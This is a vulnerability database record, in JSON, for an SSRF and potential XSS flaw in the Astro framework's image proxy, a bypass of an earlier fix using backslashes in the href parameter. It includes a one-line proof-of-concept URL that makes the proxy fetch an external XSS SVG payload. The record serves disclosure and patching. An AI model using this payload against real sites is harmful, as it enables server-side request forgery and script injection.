{"id":"CVE-2025-59837","aliases":["CVE-2025-59837","GHSA-qcpr-679q-rhm2"],"related":[],"kind":"vulnerability","state":"published","title":"astro allows bypass of image proxy domain validation leading to SSRF and potential XSS","summary":"Astro is a web framework that includes an image proxy. In versions 5.13.4 and later before 5.13.10, the image proxy domain validation can be bypassed by using backslashes in the href parameter, allowing server-side requests to arbitrary URLs. This can lead to server-side request forgery (SSRF) and potentially cross-site scripting (XSS). This vulnerability exists due to an incomplete fix for CVE-2025-58179. Fixed in 5.13.10.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Astro is a web framework that includes an image proxy. In versions 5.13.4 and later before 5.13.10, the image proxy domain validation can be bypassed by using backslashes in the href parameter, allowing server-side requests to arbitrary URLs. This can lead to server-side request forgery (SSRF) and potentially cross-site scripting (XSS). This vulnerability exists due to an incomplete fix for CVE-2025-58179. Fixed in 5.13.10.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThis is a patch bypass of CVE-2025-58179 in commit [9ecf359](https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252). The fix blocks `http://`, `https://` and `//`, but can be bypassed using backslashes (`\\`) - the endpoint still issues a server-side fetch.\n\n### PoC\n[https://astro.build/_image?href=\\\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg](https://astro.build/_image?href=%5C%5Craw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg)","format":"markdown","source":"ghsa"},{"lang":"es","text":"Astro es un framework web que incluye un proxy de imágenes. En las versiones 5.13.4 y posteriores anteriores a la 5.13.10, la validación de dominio del proxy de imágenes puede ser eludida usando barras invertidas en el parámetro href, permitiendo peticiones del lado del servidor a URLs arbitrarias. Esto puede llevar a la falsificación de petición del lado del servidor (SSRF) y potencialmente a cross-site scripting (XSS). Esta vulnerabilidad existe debido a una corrección incompleta para CVE-2025-58179. Corregido en 5.13.10.","source":"nvd"}],"published":"2025-10-28T17:45:04.000Z","modified":"2026-10-08T11:10:00.250Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":7.2,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":7.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":7.2,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":7.2,"rating":"HIGH"}],"cwes":["CWE-79","CWE-918"],"affected":[{"ranges":[{"version":">= 5.13.4, < 5.13.10","status":"affected"}],"vendor":"withastro","product":"astro","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"5.13.4","status":"affected","fixed":"5.13.10"}],"ecosystem":"npm","package":"astro","purl":"pkg:npm/astro","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"5.13.4","fixed":"5.13.10"}],"vendor":"astro","product":"astro","cpe":"cpe:2.3:a:astro:astro:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/withastro/astro/security/advisories/GHSA-qcpr-679q-rhm2","tags":["exploit","third-party-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/withastro/astro/commit/1e2499e8ea83ebfa233a18a7499e1ccf169e56f4","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59837","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/withastro/astro","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"partial","date":"2025-10-29T17:42:34.216Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-59837","url":"https://www.cve.org/CVERecord?id=CVE-2025-59837","licence":"CVE Terms of Use","modified":"2025-10-29T17:42:43.327Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-qcpr-679q-rhm2","url":"https://github.com/advisories/GHSA-qcpr-679q-rhm2","licence":"CC-BY-4.0","modified":"2025-10-29T14:48:45.000Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-59837","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59837","licence":"Public domain","modified":"2026-10-08T11:10:00.250Z"}],"updatedAt":"2026-11-25T22:59:06.968Z","epss":{"score":0.00351,"percentile":0.30761,"date":"2026-12-01T12:00:22.000Z"}}